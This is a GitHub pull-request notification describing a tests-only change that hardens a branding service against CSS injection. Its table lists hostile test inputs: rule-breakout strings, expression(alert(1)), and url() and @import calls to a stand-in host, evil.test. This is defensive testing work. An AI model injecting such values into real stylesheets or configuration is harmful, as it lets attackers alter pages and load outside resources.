Aman-Mittal opened a new pull request, #440:
URL: https://github.com/apache/fineract-backoffice-ui/pull/440
Follow-up to #437, which merged before this landed. Tests only — no
production change.
## Why
`BrandingService` builds a stylesheet by string concatenation and assigns it
to
`style.textContent`, and every value in it arrives from a fetched
`branding/config.json`:
```ts
style.textContent = rules.join('\n\n');
doc.head.append(style);
```
That is a CSS-injection sink. The only thing between it and a hostile
overlay is the token
allow-list and the two value validators — and until now that was a claim in
a review comment
rather than something asserted anywhere.
The overlay is not attacker-controlled in a correct deployment: it is
mounted into the image
beside the application, same as the rest of the static bundle. It is tested
here as if it were,
because *"the input is trusted"* is exactly the assumption that stops
holding the day someone
makes the overlay writable — a config UI, a per-tenant fetch, a volume
someone else can write.
## What it covers
Nineteen cases against the sink:
| Attempt | Example |
| --- | --- |
| Close the rule, open another | `#fff; } body { display: none } .x {` |
| Legacy CSS expression | `expression(alert(1))` |
| Callback fetch | `url(https://evil.test/x)` |
| Stylesheet import | `#fff; } @import url(//evil.test/x); .y {` |
| Declaration in the token *name* | `{"primary-color: red; --x": "#0b5f8a"}`
|
| Any name off the allow-list | `shadow-md` |
Plus a sweep that reads the finished stylesheet back and asserts every
property in it is either a
published `BRANDABLE_TOKENS` entry or one of the derived `--ion-color-*`
companions. That one is
the durable guard: a future rule that starts emitting something else fails
here rather than in a
scanner months later.
Also the asset-path guard, since `applyFavicon` is the one place this writes
a URL to the DOM
directly rather than through an Angular binding that would be sanitised:
absolute,
protocol-relative, `javascript:` and `data:` are all refused.
## Notes for review
- **No production code changes.** One new spec file.
- The regexes involved were checked for backtracking separately — every
pattern the branding
feature introduces stays linear against 50k-character adversarial input,
so the ReDoS queries
have nothing to bite on. Worth recording because `SAFE_ASSET_PATH` and
`LENGTH_PARTS` both look
like the shape that usually is a problem, and are not.
- `console.warn` is stubbed in `beforeEach`, because the service reports
every rejection through
it and a deliberately hostile fixture would otherwise read as a failing
test.
## Verification
| | |
| - | - |
| Vitest | 546 passed (19 new) |
| lint / format / `tsconfig.vitest` typecheck | clean |
| `check:test-runner` | no new Karma specs |
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
